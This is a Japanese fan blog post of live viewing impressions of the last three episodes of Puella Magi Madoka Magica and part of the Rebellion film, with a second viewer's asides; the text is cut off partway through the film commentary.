お、助ける方法。お、私と同じこと、まさか考えてないですよね。まどかを魔法少女にしてって。\nよかった。私と同じことを考えていなかった。\n今まで魔女を狩ってて、グリーフシードじゃなくてソウルジェムが出てきたことは果たしてあったのかな？ なさそうな気がするな。\n杏子ちゃんとさやかちゃん、お互いに影響を与えまくっていて、いいペアですね。そういえば、ずっと名乗ってなかった杏子ちゃん。\n一人で保健室行っちゃった。途中で倒れるといけないから、誰か付き添った方がいいとは思うけど、まあ絶対体調悪くなってないんだろうね。抜け出す口実だろうね。\nワルプルギスの夜っていうのは一体何なんですか？ 超ド級の大物魔女なんですね。ありがとうございます。杏子ちゃんが答えてくれた。\n（VS魔女さやか） やったー変身バンクだ！一回目のバンクと違った気がするけど、最後のポーズだけかな。\n覚悟決まってないと魔法少女になるな。ってことかな。\nでも、実際ずっと戦ってきた杏子ちゃんとしては、のほほんと生きているまどかに思うところがないことはないだろうし、ここで優しい言葉をかけられるのは強いよね。\n可愛らしいリボンをつけている。ええ、奇跡の力でどうにかなるのかなぁ？ ならないんじゃないかなぁ。\nいや、だって。ほら、杏子ちゃんが一緒に死んでくれるわけだから。\nこの車輪、何のモチーフだろ。\nああ、青と赤のモチーフの対比がいいですね、綺麗で。こんな世界に、こんな空間に一般人と一緒に来るの絶対やっぱり危ないって。まあ今回はね、連れてかないと目的が目的の ため仕方ないですが、でもやっぱり危ない。\n連れてくるなら連れてくるで。ちゃんと守ってあげなさい。\n引き受けなくちゃいけないほど強いってことか。魔女さやかは。\n（一人ぼっちは寂しいもんな） 今の攻撃は何捨て身の一撃ってことソウルジェムを割る代わりにすごいダメージ出力が出るってことかな。流星一条か。まあ、あのソウルジェムが魔力の塊、魔力が詰まっている ものだとしたら、あれ終わったら膨大な魔力が出力されるっていうのは。そうかも。\n（and I\u0026rsquo;m home) 特殊エンディングだ。多分、うめ先生の書き下ろしだ。\nでも2人のデュエットの曲かな。いいですね。あ、wowakaさんだ！作詞・作曲wowakaさん！\nへえ、そうだったんだ。そうか、15年前。そうか。結構若くして、そうですね。ボカロ界隈で有名な人です。\n第10話 （過去） 今、ちらっと見えてしまったぞ。メガネかけたほむほむが。わーいメガネ、おさげ。\n転校不安だよね、わかります。転校じゃなかったわ。まあでも久しぶりは不安だよね。\nこの手のアニメで髪の異常な長さに言及されることあるんだ。ちゃんとこの世界でも異常な長さなんだ。色はカラフルですね。\nなんか久しぶりにまどかちゃんの平和な声聞いてよかった。大体いつも絶望にあがいてる声してたから、ここのところは。\nああ、さやかちゃんの魔女化した時のリボン、制服のリボンかな。なんかまどかちゃんの髪飾りのリボンかなと思ってたんですけど、ちょっと、形が、細さが違うので。\nできなかったんだ。一話のほむらちゃんは勉強できたけど、メガネほむほむはそうでもないんだ。\nもうメガネほむほむ闇落ちしてる。多分その心臓の病気治すために結構なお金かかってるぞ。あ、ゲルニカだ。\n（1週目終了） この世界ではもう魔法少女になってるんだ、まどかちゃん。この世界はっていうか、今何なのかは全くよくわかってないけど、別世界線だということはわかる。\nえ、この世界のマミさんはどうなるんだろう。なんか運命を変えられないとか、ループしてるとかだったら結構序盤で死んじゃうのかな、マミさん。\nあれ、でもさやかちゃんいないな。さやかちゃんは諦めたのかな。魔法少女になること。\n巴さん、死んじゃった。話の展開が早い。\nこの世界のまどかちゃんは、覚悟は決まってるって感じでもないけど、本編まどかよりもなんか強い心を持ってそうな気がする。死んじゃった。あっ、インキュベーター！\nその資格ってなんだろう。たぶんキュゥべえのことだから、いい魔女になりそうだとか、そういう意味なのかな。\n楽しそうだな、キュゥべえ。ウキウキなんだろうね、新しい魔法少女が増えて。まあそれは確かに聞いてる人間側がウキウキだなって。\n営業には成功した。あとは聞いてる人のバイアスがかかっているのは確かにあるかもと思った。\n（2週目） あ、ちょっと顔が明るくなってる。唐突に魔法少女について教室で、クラスのみんなには内緒なのに。でもほむらちゃんが教室にやってたときた時にはほむらちゃん可愛いな。や ってきた時にはまどかちゃんがもう魔法少女になっているケースが今2連続したってことは、本編中でまどかがまだ魔法少女になってなかったのは結構レアケースなのかな。\nその爆薬、自分で作ってたんだ。魔法で作ったとかじゃなかったんだ。\nそうなんですね。なんかみんなホイホイ。他の魔法少女は武器作ってたので気がつかなかったけど、時間停止だけなのか。\nへえ。時間停止もちょっとあんまり定かでなかったので、能力として勘違いしていた。\nマミさんなんか万能型ですよね。攻撃もできるし、リボンで防御もできるから。うん、確かに言われてみれば、いつマミさんは魔法少女になったんだろう。\nあ、変えられない運命。強制的に戻るのかな\n（3週目） 今回、さやかちゃんも魔女になってる。いや、魔女じゃない。魔法少女になってる。魔女にはまだなってない。まあ、どのくらいワルプルギスの夜っていうのが強いのがわかりま せんが、人数は多い方がいいですね。\n「爆弾以外の武器ってないのかしら」クレームをつけるな。そうだった、時間停止してヤクザの事務所に行って銃を拝借してる！ なんだこの行動力の化身みたいな女の子。\nいやまあ、うん、効果的な時間停止の使い方は確かにしてるかも。発想がかなり突拍子もない感じではあるけど。この世界線でもやっぱりまあっていうか、どの世界線でもさやか ちゃんは絶望してしまいそう。\n魔法少女にならなければ多分平和なんだろうけど、魔法少女になったらもう行く先は決まっちゃいそうな気がする。\nこの魔法少女たちのエイムがすごい。ソウルジェムを一発でぶち抜いていった。\nた、倒せなかった。ここで一緒に終わってもいいと思っていらっしゃるほむらちゃん。\nていうか、ワルプルギスの夜が召喚すると、ビルが傾いて水没して、とんでもないことになるぐらい大惨事になるんだな。\nうーん、罪なことを。一人で生き残って、魔法少女にならなかった自分にさせてくれという酷な願いを頼んでいる。\n確かにこの状態でソウルジェム叩き潰せば魔女にならないのかな？\n多分、キュゥべえはその時に生まれるエネルギーが目的だからめちゃめちゃ怒るだろうけど、確かにそれで魔女化を防ぐことはできるね。\n（4週目） ここで覚悟が決まったんだね。あ、1回目で死んだキュゥべえってここか。なるほど。\nじゃあ、ほむらちゃんが目が覚めてから即キュゥべえを始末することで、自分が転校するまでにまどかちゃんが魔法少女になることを一旦防ぐことはできるってことですかね。\nなるほど。そうですね、契約してまだ1週間とかって言ってましたもんね。\nこれが一話のところか。じゃあ、この世界の次が一話からの世界で、前回の世界を一話時点では見てたってことなのかな。そそのかされるな、まどか。\nあれ、今回の世界では一撃で倒したんだ。でも「魔法少女にならない私にしてくれ」っていう前回のまどかの願いは叶えられなかったから、ワンモアループかな。\n今の文字、何？\nマンションの名前が今ドーンと出てたってこと？ああ、魔女か、そうですね。まあ、一切読めなかったんですけど。じゃあ、読めなくてよかった。\n（5週目） ここが1話目の助けた時か。多分マミさんとかは友達じゃなかったんだ。まあ職場の先輩ってところかな。クラスメイトとして最初に仲良くしてくれたのはまどかちゃんってこと 。\n（ED) わーい、エンディングでオープニングが流れる展開大好き。大好き。\nこれを踏まえての物語の正解としては、まどかが魔法少女にならないっていう道がまず前提になるんだろうけど、そうなるとワルプルギスの夜をどうやって倒すかっていうとても 大事な問題があるから、どう解決するのか楽しみですね。難しいけれど。あなんか何かが起こった挙句、まどかがめちゃめちゃでっかくなるのは知ってるんですけど、何がどうな ってそうなったのかは全くわからないぜ。\nあ、増えた。オープニングの最後の塔の部分の、2人増えてましたね。\n第11話 （今回のループのダイジェスト） 1ヶ月の出来事なんだ、早いな。背負い込んだ因果の量。ずっとループして因果が収束してきてしまっているからってこと？\nキュゥべえ的にはだいぶいいヒントを得てしまった気がしますね。時を戻して因果的に繰り返すことによって、強い魔力というかエネルギーを生産できる。\nまあ、繰り返してるほむほむ自身が中心地にならないっていうのは、ほむらちゃん自身は繰り返してないから。時間として繰り返してはいるけれど、なんかそれは一本の道をずっ と歩いてるようなもので。まあ平行世界のなんやかんや因果とか言われてたけど、が束ねられているわけではないから、中心地がほむらちゃんではないってことになるのかな。\n「最後に残った道しるべ」、何でしょうね？ああ、さやか殿が！ 死体が発見されたんだ。\n椅子が気になりすぎる。しつこいけど椅子が気になる。廊下に椅子置いたら邪魔でしょうが。\n急に物語が戻ってきたから、混乱しちゃうな。\nまあ事実ではあるが、中学二年生に、いや、中学二年生だったらそろそろ問うてもいい問題か。まあ、このメンタルの時に伝える話では当然ない。\n勝手に見せるな、歴史を！ なんか、歴史上で聞いたことのある人たちがたくさん出てますね。\nでも、願い事をしないと、どうしようもないぐらい切羽詰まった時に限って君、勧誘してくるじゃないですか。\n「それを願わなければよかった」なんてことを言えるのは、まあ、人の心はないんだろうけど、人の心がない。\n極めて稀な精神疾患として感情の発露があるのなら、それを発露してしまったキュゥべえたちはめちゃめちゃ大変そう。周りに誰もまあ、わかってくれる人はいないということに なるから。\nマミさんのことですね、3年生の行方不明。恋愛関係で云々っていう相談を仁美ちゃんがするぐらいには、この先生、信頼されてたんだね。\nまあ、とても気まずい。自分が告白するよって言った後に、さやかちゃんが失踪したら、やっぱり責任は感じちゃいますね。死んじゃったから。\nこの2人、同級生とか何かなのかな、学校の先生とまどかちゃんのお母さん。バーに飾られてる絵が壮大すぎる。\n下の名前で呼んでる。やっま同級生とかそこらへんっぽい。\nどれが？どれがワルプルギスの夜だ？何を見せられているんだろう。\n杏子ちゃんの苗字、佐倉っていうんだ。今までの回想は、それをまどかちゃんに伝えたってことなのかな？\n今までずっと戦ってきたみたいな話してたから。話すのは今だった。それは今だったわ。\nまあ、夢を見てましたね。ここずっとやってた回想をどう解釈すればいいのかわかんなかったけど、まあ視聴者に見せましたよっていう意味合いが強そう。\nああ、なんか散々「人のために魔法少女になるな」ということを言ってきたものの、まあ、他人を救うというその目的で何回も何回もループし続けられたほむらちゃんは、心が弱 いようでとても強いですね。\n（ワルプルギスの夜ソロ討伐） ワルプルギスの夜が来るぞ。見えないなりに大人は対処はできてるんだ。避難宣言が出てる。\n本当に一人でやるつもりなのかなほむらちゃん、ワルプルギスの夜を。頑張れ。あ、1話のカーテンだ。そうですね、毎話カーテンで始まる。\nこれを魔法で、この武器たちを魔法で作ったわけじゃないっていう事実を知ってしまった今、ほむらちゃんがすごく見える。頑張ったんだなぁ、準備。\n頑張りすぎじゃないかな、ほむらちゃん。さすがに水から出てくる大砲っていうのは。\nせ、潜水艦。あ、あまりにも本気すぎる。そ、そうなんだ。どこでそんなものを手に入れたんだろう。バレたら大事ですよ。\nしかもこの一ヶ月でってことでしょう。すごいなあ。\n今のところ優勢ではあるけど、果たしてキュゥべえが「どこまでやれるか」って言ってるから勝ち目は薄そう。\n仮に全部まぁまどかちゃんが魔法少女に。いや、そうなんだよね。ほむほむがグリーフシードになっちゃった時に、相当な大災害を生みそうな気がする。\n勝手に魔法少女見せたのはあっちの方なのに。インキュベーターの方なのに。\nママが真っ当なこと言ってる。ここで送り出したらお母さんすごいよ、ある意味。そうなるよね、やっまり。連れて行けってなる。達也って言うんだ。名前、多分出てなかった気 がする。\n危ない！ 背中を階段で叩くな。まあ、でも送り出してくれたね。\nでも、送り出してどうするんだ。まどかさんはどうするんですかね。魔法少女になったら、それこそほむらちゃんの努力がなかったことになってしまうけど。\nあ、足が。巻き戻ろうとしている。ああ、因果が云々の話をされたから戻りにくくなっちゃった。全部インキュベーターのせい。\nまあでもインキュベーターにそれを言ったところで「ぼくは真実を伝えただけだけどな」って言いそう。絶対に言う。\nえっ、契約するんですか？え、ここで終わりなんですか！？\n（ED) エンディングの入りはすごい良いけど。確かにクレジットには出てますね、達也の名前。\n次の尺。まあ、概ね20分近く使って何をするんだろう。何もわからん。期待は高まるけど、何もわからん。\nいや、結構一気見だとエンディング、オープニング飛ばしちゃいがちですもんね。\n第12話 （魔法少女まどか☆マギカ） 本当に「何のために」って感じだよね。まあでも、何週前の話かわかんないけど、魔法少女にさせないでって言ってたまどかちゃんと、今のまどかちゃんを同一にしてはいけない かもね。\n魔力の大きさが叶えられる願いの大きさに直結してるのかな。根本解決しようとしてる。\n12話冒頭でめちゃめちゃクライマックスだけど、この後どうするんですか？\nなんかキュゥべえ的には絶対叶いたくない願いだろうから、多分、叶えるかどうかはキュゥべえの意思にはよらないのかな。\nでも、叶える願いの大きさが魔力の大きさに直結するなら、視覚が云々みたいな話もわかるはわかる。魔力がそもそもないと、願いを叶えることもできないから。\nこれ、いつの会話だ？ まだマミさんが生きてるけど、なんか実際に起きたことではなさそう。あ、そうだね。魔法少女の衣装のノート預けてたもんね。\n変身パンクがなかった。何の武器を使うかっていうのは、各世界でいつも同じだから、なんか決まってるんでしょうね。この人はこの武器使いだっていうのが。\nあ、世界中の魔法少女たち。いや、待って、それ魂自体だから、それ持ってっちゃったら一応死ぬことにはなるけど、まあ魔女にならないからいいのか。\n魔女になる前にそのソウルジェムを全部持っていきますよみたいな解決方法なんですね。\n魔女も生まれる前に消し去りたいって願いだから、まあそうなるか、確かに。魔女が生まれる前に現れては救って消えていくみたいな。\nまあ死んじゃうことは死んじゃうけど、そこはまあしょうがないというか、願いの範疇ではないね。\n地上のみんな、じゃあこのワルプルギスの夜っていう魔女も生まれる前に消し去るってことか。解決！\nこの笑い声は果たして希望かな。\nいや、わからん。私は恨みがパワーになることもあると思うから、その解決方法が万人にとって幸せかはちょっとわからないけど、かなりの人の救いにはなりそう。\nでも恨みを溜めた結果、何もかもめちゃくちゃにしたいっていう気持ちもないがしろにされてはいけないと思うけど。\nそれを良くないとして救おうとすることをしたのであれば、まあそれもそれとしていいでしょう。魔法少女にされたことで絶望させられるというのもあるしね。\nいや、わからんな。私はこの解決方法が正解だったのかわからない。\n私は魔法少女から絶望を奪っているように見えなくもないけど、わからない。\nただ、わからない。私にはこれが正解なのかわからない。まあ、正解なんてないんだろうね。\nわからない。だってその絶望はまあ、ほぼ急便によって与えられたと言っても過言ではないが、でも絶望する自由も奪われるのもなんかちょっと、それはそれで。\nかなぁ。まあ、これは私がもし魔法少女になったら、最終的に魔女になってすべてバチボコに破壊したいという欲望があるからそう言ってるんですけど、その自由を尊重してくれ ！ とちょっと思ってしまった。\nまあ、魔法少女の時点でもバチボコに破壊してもいい。まあ、どっちにしろバチボコに破壊したい。そう。\nただええ。でもあのイヌカレー空間の魔女になってとんでもない空間作り出したくないですか？ そんなことないか。\nそこはちょっと私の加害性が悪さをしているかもしれない。傷つけてもいいから、私はあの空間を作り出したい。\nいや、違うな。これはあのめちゃめちゃいいシーンで自分語りをするのは申し訳ないんだけど、あの自分の自我をなくした状態で責任を放棄したまま、他の人をバチボコに殴りた いというすごい卑怯な思いを持ちました。\nだから、魔法少女の状態ではバチボコに殴りたくないです。\nその自由は奪われてるから、個人的にはあれだけど、まあ99.9%の魔法少女にとっては救いだから、まあよかろう。\nまどかちゃんの行動には納得する。私がここまでの文脈を全無視した感想を言っているだけで気持ちはわかる、まどかちゃんのね。\n（お別れ） あっ、恭介くん。でも避難指示が出たのに恭介くん何してるの？\n精神世界みたいな感じか。さやかちゃんいるから。\nあやかちゃんがいい子すぎる。\nああ、なんかよく聞く円環の理って、いわゆる神になったまどかのことなのかな。\nそういう魔女が生まれない世界になるなら、ここにいる魔法少女は何と戦ってるんだ？\nまあ、魔法少女が絶望すればいいわけだから、インキュベーター的には魔女と戦う必要はないのか、魔女じゃなくてもいいのかな。\nあ、リボン巻いてる。言われてみればまどかって名前もまあ、円環の理か。\nもしかしてこのお母さんは、女の子が生まれたらこういうリボンをつけたいみたいな、まあ、願望というか……言ってくれてありがとう。やっまりそういう願望があったんだね。\nあ、何か回収している。やっまり代わりに何かと戦っているのかな。めちゃめちゃ聞き覚えのあるBGMが流れてきた。ダムさんがよく流してるやつ。\n魔獣なんだ。へえ、魔獣はどこから生まれてくるんだろう。じゃあ今は険悪な。まあ、そうか。自分たちが魔女にならなくて済むのか？\n多分、魂をソウルジェムにして、肉体はゾンビ状態になるのは間違ってはないと思うから。恨みは買いそう、インキュベーター。\nなんだろう。魔獣人間の心の呪いとかから現れる何かみたいなやつなのかな。なるほど。あ、りょーちもがいる。\n感想頑張りました。まあでも面白かったので、頑張ったっていう意識はあんまりないです。面白かったです。\n劇場版 魔法少女まどか☆マギカ [新編] 叛逆の物語 感想の前に 叛逆の物語はpestさんも初見だったそうで、オーディオコメンタリー・コメンタリーとして私の感想を書き起こしながらpestさんの感想も書いていただけました。初見の 感想はなんぼあっても良い！！！\n※が付いている部分がpestさんの感想です。\nなお、チャプターNと書かれている箇所はAmazon Prime Video配信版のチャプター分けに従います。\n本編感想 with オーディオコメンタリー・コメンタリー （導入） 映画版では魔獣が何かなのかとか語られるといいな。楽しみですね。\nまどかの物語みたいなのがバックで、児童向けの本みたいなのが流れている。再び巡り合うってことは、どんな場所かわかんないけど、まどかがいるところに行くんだろうね。\nWelcome to Cinema.映画館で見たらいい雰囲気だったでしょうね。Welcome to Cinema.\nあ、まどかがいる。影のバレリーナ見ると、あ、まどかが。\nバリーナ見るとウテナを思い出す。この場面が一体何なのかは今のところ一切わかりませんが、何なんだろう。というか、映画版がテレビ版の続きから始まるってことは、ほむら ちゃんだけが生き残っている世界になっちゃうから、それはどうなんだろう。\nまあ、映画的にというか、各キャラクターのファン的に。\n謎空間で謎の曲が始まった。あ、マミさん食べた魔女まどかがいるところの心象風景みたいな感じなのかな。全員揃ってるし。あれまどかが寝起きだ。何のシーンこれ？\nあれ、キュゥべえがいる。何の世界？\nああ、魔法少女になってる。爪が！何の世界ここ？\nおかしいな。テレビ版の続きかと思ってたんだけど、そんなことなかったのかな。\nまあそうか、新編か。確かに新編って書いてありますね。\nあれ、付き合ってる？\n先生、世界の終わりご存知なんですか？ モテなくて世界が終わりみたいな感じですか。\nほむらちゃんかな？ 付き合った後だけど、今はいつなんだろう。\n※このママ、平成のキャリアウーマン像って感じでいいですよね。今だったらわざわざ描かれなさそうで。\n（OP） うわぁ、キュゥべえと仲良さそう、まどか。オープニングだ！変わらずClariSですかね、多分。\nそっか、あの後の物語じゃないんだ。それはそれで、ほむらちゃんの頑張りが全部無になっちゃったけど、いいんだろうか。\nまあでも全然別の世界線だったっていう。ああ、全部手書きのダンスシーンいいな。あそこだけもう1回見たい。後で見ます。\nあ、新房が総監督になった。\n（本編開始） 杏子ちゃんも最初からいる。仁美ちゃんがいなくなった。\n仮にこの世界としよう。なんか、杏子ちゃんが学校に通っている時点で何か違う世界な気はするから。この世界は学校に通える状態なんですね、杏子さんは。\nキュゥべえ？ まだ1回も喋ってないけど。キュゥべえ、君は世界の終わりは同じなんだ。先生、オカルトオタクになっちゃったのかな。そろそろ結婚を諦めた方がいいと思う。\nそこまで病んでるなら。\n※この先生も、令和に作ったら存在しなさそうだよね。\n（暁美ほむら登場） お、何の状態のほむほむが来るんだろう。まあ、ほむほむではあるよね。\nあ、おさげだ！ 性格は明るい。ホワイトボードでっか。ホワイトボードじゃないけど。\nあ、もう魔法少女になってる！\n後ろの謎背景建造物が……いや、でもこんなもんだったか。ちょっと豪華になったようにも見えるけど、ナイトメア退治。ナイトメアっていうのがあるんですね。コンビネーショ ンで攻撃自体を圧縮できる？\n時間を止めてなんとかしてるのか、別の能力を持っているのか。なんか表情的になんか前の記憶とかがあるわけではなさそう、ほむらちゃん。\nめちゃめちゃ聞いたことある音楽流れてきた。\n魔獣のことをナイトメアって言ってるのかな？\n前世の記憶の自覚はないけど、前世の記憶を持っている匂わせなのか、それとも。\n（仁美と恭介） 恭介君に電話を。この世界のさやかちゃんは曇ってないんだなぁ。無事というか、なんというか、乗り越えられたのかな、心の傷を。\n断られてしまった。タイミングが合わないなら、次は恭介から誘え。そうですね、中学生にそんなことを要求するのも酷か。\nそこであれ、目の中に何か。やっぱりなんかこう、人間の、怒りというか、様々なネガティブな気持ちがナイトメアになるのかな。\n※本編の時から思ってたけど、こいつ本当に恭介のこと好きなのか？\n（お菓子の魔女と暮らす巴マミ） あれえなんでキャンディの魔女と一緒に暮らしてるの？ っていうか、なんで魔女がいるの？\nここにこの世界が魔女がいなくなった世界だと一旦思わない方がいいか。思う方が違うかもしれない。\n※腹の減る鳴き声だなこいつ。\n（ナイトメア戦） やっまりキュゥべえが喋らなくなってる。すごい戦隊ものみたいに5人で並んで変身してる。ああ、ちゃんと変身バンクがある。\nやった！ 全員のバンクだ。まあバレエモチーフなのかな、全体的に。にしてはアクロバットな。まあ、ダンスモチーフか。なんか違いそうですね。各自種類が。\n一般的な日朝変身バンクではないけど、それでも嬉しい。\nまどかの変身バンク好きだな。なんだろう。一人だけ飛び抜けてセンスが独特な気がする。なんて？\nホーリークインテッド？\n※まどかのバンクだけたくさんいるの、やっまり並行世界の魔力使ってないか？\nああ、なるほど。Puella Magi Holy Quintedか。自分たちで戦隊名考えたのかな。まあ、でもそうやってこう。まあ演出というか、自分たちでチーム名 を決めて一緒に戦うのもモチベの一つにはなりますからね。\n※本編からして一人だけ「ティロ・フィナーレ」とか言ってた奴が怪しい。\nすごい。魔法少女みたいなことしてる！\n人のネガティブな心からナイトメアが生まれるとしたら、狩っても狩ってもまあ消えることはなさそうだし、大変だね。何？ なんか儀式が始まった。怖いよ。\n何かを食べさせてる。ナイトメアに？\n生のカボチャを食べさせてる。\n何なんかあのペペだかベベだかわからないけど、前に魔女だった子にケーキとして食べさせる。ナイトメアを食べさせることでなんとかなってるのかな。\nこの世界はゆっくり仁美ちゃん、この映画だからなんとかなってるけど、ちゃんと怖い。\n※絶対1年持たないと思うけどな、君たち。\nこの曲を聴き覚えがありますね。頑張って納得しようとしてたけど、さっきのケーキのシーンやっまり意味がわからないな。とても怖いです。\n説明されるんだろうか、本当にこれは？ されない可能性がある。\n（チャプター2） でもナイトメア規模大きいな。魔女よりも規模大きくて危険な気がする。\nでもこれは隙があれば自分語りだけど、紅茶が好きだったらみんなケーキが好きだというテンプレートな考え方はやめてほしい。私は紅茶は好きだけど、ケーキはそんなに食べな い。\n※カロリーの割に栄養に乏しそうですからね。\nこの世界でもマミさんの両親はいないのかな。まあでもみんな何がしかの理由が、願いがあって、魔法少女になったはずだから、きっと何かは叶ってるんだよね。その仕組み自体 が崩壊してれば別だけど。\nBGM全部聞き覚えある。\n先生、顔どうした？ まあでもモブの顔がこんなになるのはシャフトではよくあることか。よくあることで済ませていいのかな本当に。まあいいか。\n※シルエットと文字になってないだけシャフトではマシな方。\n不覚にもキュゥべえが可愛いと思ってしまった。そうですね。黙ってりゃ可愛い。黙ってりゃそうですね。腹の内で何か思ってるかわかりませんが。\n※名前はどうなってるんだろう、キュゥべえ。インキュベーターじゃないよなこの世界だと。\nそれよりも、一番左にいるキャンディーの魔女が平然とここにいるのがすごく気になるんですけど。なんですか、あいつは？\n全体的に「今は平和で良かったね」と「何ですか、これは？」の間で半分半分で揺れ動いている。\nやっまりなんかテレビ版の記憶というか、何かしらが引き継がれているのかな。\n世界が分断というか、なんか箱庭的な世界になってて、で、時間も昔から流れているわけじゃなくて、ある時点から生成されたみたいな感じかな。\n※軍事用の飛行船みたいなの飛びまくってるけど何？ 何そのポーズ？\n一番印象が違うというのもそうだけど、あのメンバーでちゃんと冷静に話が通じそうなの杏子ぐらいだよな。\n2階席があるタイプのバスだ。2階席っていうか、なんだろう、これは。日本には多分ないですね。なんか観光の意味であってもおかしくはないけど、珍しいですね。あるんです ね、こういうの。\nいい天気の日は乗り心地いいでしょうね。風はすごそう。\n※インドとかで人間が満載されてそう。\nああ、なんかモブの顔が一律なのも、シャフトあるあるで一回流したけど、この世界を作った人にとって重要ではないモブだからっていう考え方もできるか。もう作られた前提で 話を進めますけど。\nでも、乗ってもたどり着けないのかな。そもそも存在しないから、さっきも「見15」だったと思うけど。ああ、そうか。降りた時は見てなかったですね。そうかそうか。31に なっちゃった。\n明らかに何かがおかしいですね。運転手も反応してくれないし。\nすごい橋なのかな、これは。すごい道。\nテレビ版と繋がってると仮定して考えると、こんな芸当ができるのはまどかぐらいしかいないはず。この世界のまどかではなく、テレビ版のまどか。みんながこう平和に過ごせる 世界を作ったみたいな。\n魔法少女として一旦回収した魂を元にして理想の世界を作っているとかなのかな。だとすると、ほむらちゃんがここにいるってことは、ほむらちゃんの魂もいずれ魔女になる前に 円環の理に回収されてっていう後の世界になるけど、まぁ一旦これは仮説か。\n※基幹世界のほむらが魔女になった時にやりそうな手口に見える。\n（思い出した！ テレビ版のおさらい） お、思い出した。魔女はでも、いなくなったはずだよね。そう、そのはず。導かれたはずだけど。\n※昭和の遊びしてるガキ、何？\n果たして、陥れようとしてるかどうかはどうだろう。\nベベはどこから来たんだ。さりげなくさぐりを入れてくるほむら。\n※誰かが意図的にこの世界を構築してるとしたら、ベベとマミをセットで作ってる時点で多分マミのことは嫌い。\n「ベベの存在に疑問を抱きなさい」と言いたいところだったけど、まあキュゥべえもいるし、第二のマスコット枠ってところか。\nみんなはベベが何言ってるかわかるんだ。背景にお菓子作りの本、お菓子作りかな、ただのお菓子の本かな、いっぱいあるから。多分ここはマミさんの家かな。好きなんでしょう ね、お菓子を作るのか、お菓子を食べるのが。\nいや、ベベのためかもしれない。\n人払いをしようとしてる！ お茶を入れてということで。時を止めて時を止めるという能力自体はテレビ版と一緒なんだ。\nまあ確かにこいつだけ異質だから、ベベが元凶だと思うかな。まあ、でもベベも強い魔女だったとはいえ、こんな世界一個作るみたいな力があるのかな。\n※何そのサイバー窓。\n（明美ほむらVS巴マミ） なんで思い出したんだろう。あ、マミさん。確かにベベに危害を。\nなんかテレビ版、きつい方のほぼほぼの悪い癖が出てる。何の状況証拠もなく、突拍子もないことを説明する癖が出ている。\n最初の杏子さんみたいに、じゃあ一緒に隣町に行ってくださいって言って納得してもらった上で説明すればいいのに。\n※でも、それやるとソウルジェム撃ってくるし、マミさん……。\nまあ、さすがに劇場版の方はテレビ版と比べると動きが段違いに。\nいくら時間停止できるとはいえ、これに渡り合っている。時間停止以外には普通に戦っているほむらさん、すごい。\n※この世界でもヤクザの事務所と自衛隊は被害を被っているのだろうか。現代銃器にマスケットで勝てるわけないだろ！\nさすがにここでマミさんを殺すことはしないでしょう。多分、ここら辺で武器を下ろして話を聞くわモードに入ってくれるんじゃないかな、多分。\n自殺？\nそういえばほむら……うーん、強行突破すぎる。でも、ほむらちゃんの時間を止める能力を使えば、マミさんを殺すことなんて、別に造作もないわけもないことだと思うけど。\nそれでも真面目にちゃんと戦ったら……あれ？\nえっと、まず自分の体とつながってると、その時は止められないってことですか。そうなんだ。へえ。そこはちょっと記憶から漏れてた。\nあっ、ナイトメアのこと魔獣って言ってるけど、魔獣自体は存在するんだ。あれ、そうですよね、ナイトメアは？\nなんかこうやって実況して初めて他のアニメ実況をしてる人の気持ちがちょっとわかったんですが、なんか知らん人来たな。\n自分の声でキャラクターの声がやたらかき消されるため、セリフの抜け漏れがありますという気持ちがわかった。\nなんか、でもこのキャラクター見たことあるかも。\n（美樹さやかの役割） あ、魔女のこと知ってるんですか？ それが私の役目？ 覚えてることが役目だったのかな。キュゥべえ？\n戦闘、この混乱というか、戦闘状態を維持して誰が嬉しいかっていうと、エネルギーを生成したいキュゥべえ側かな。\nなんだろう。今、まどか元凶説とキュゥべえ側元凶説で揺れ動いています。\n「あんたは」ってことは、さやかちゃんは覚えてるの？\nなんか本質的には変わらなさそうだけど、何かを知ってるさやかちゃんなのかなぁ。\nまあでもそうか。考えてみれば、テレビバージョンの中で唯一魔女になって倒された人って、さやかちゃんだけなんだ。\nじゃあ、魔女として生まれる前に消し去って、自分の中に吸収した魂って、テレビ版まどかちゃんの中には、実はさやかちゃんだけしかいないのかな。\n魔女になる前に死んでしまった魔法少女の魂は回収対象にはならないんじゃないかな。まあ、この世界に関係あるのかわかんないけど。\n魔女になる前にテレビバージョンで魔女になる前に魔法少女として死んじゃった人たちの魂はそのままなんですかね？\nそれとも、それもテレビ版まどかに回収されたんですかね。描写はされてないはずですよね。だから回収されたかどうかは不明のはず。\n過去に遡ってというよりも、あの魔女になる前に死んじゃった人たちはっていう意味です。あの魔女にすべての魔女を生まれる前に。\n魔女になる人たちを救うということは、魔女にならずに死んだ人の魂は回収されてないかも。まあ、これはただの私の仮案ですが、ここがテレビ版まどかの作った世界で。で、さ やかちゃんだけが魂を回収されているから、彼女だけがなんか訳知り顔なのも一応納得はできるのかな。\nでもだとしたら、ほむらちゃんもいろいろ……ダメだ、つじつまが合わない気がする。まあ、何が言いたいかっていうと、さやかちゃんだけなんか違う存在だっていうのは理屈は 通るかな。\n可能性としてはある。\n（鹿目まどかとの会話） テレビバージョンでも、なんで消えたまどかちゃんの存在が、ほむらちゃんだけ覚えてることになってるんだろう。まあ、イレギュラーな存在だからかな。時間をループしてきて 。\nなんでこう、このアニメの登場人物たちは人の気持ちの責任を負おうとするんだ。\nあ、いい雰囲気では、見てて楽しい雰囲気ではありました。冒頭のやつは。マジでケーキだけなんだったのって気持ちになってるけど、この感じだと明かされることはないでしょ う。\nあ、喋らない方のキュゥべえ。\n※やっまりほむらの世界なんじゃないですか？ お前達、自己犠牲で善意を押し付け合うのをやめろ！！！\n（チャプター4/世界の真相） なんか今回、杏子ちゃんがものすごく頼もしい。まあ、証明したからとはいえ、ほむらちゃんの話を分かってくれるし、協力してくれるし。\n※これがヒンデンブルグ号事件か～。\nなんだろう、空にずっと浮かんでる謎のものがあったなとは思ってたけど、あれは本当に確かに何だったんだろう。気球ですよね。なんであんなにいっぱい気球が浮かんでるのか わかりませんが。\nなんか形が一瞬あのグリーフシードに見えたので、それのまあ暗喩かなとちょっと思ったりはしたんですが、今2個目見たら案外そうでもなかったから気のせいかも。\nほむらちゃんが作った世界ってことか。まあ、絶望したらものすごい力を秘めてそうとは、確かにテレビバージョンの最後の方には行ったけど、でも魔女にならないんじゃないの ？\nあのテレビ版の後の世界だとしたら、だから今、魔女になっているのは、まどかの力が及んでないってことになる。しゃべり始めましたね、キュゥべえが。\n今、黒猫の半身みたいなやつあったけど、半身にしてはちょっと半分すぎるけど。\n今ふと思ったけど、テレビ版のオープニングの最後にまどかに抱かれてる黒猫って、本編に派手な黒猫が出てきた覚えはないから、ほむらちゃんのメタファーというか、イメージ 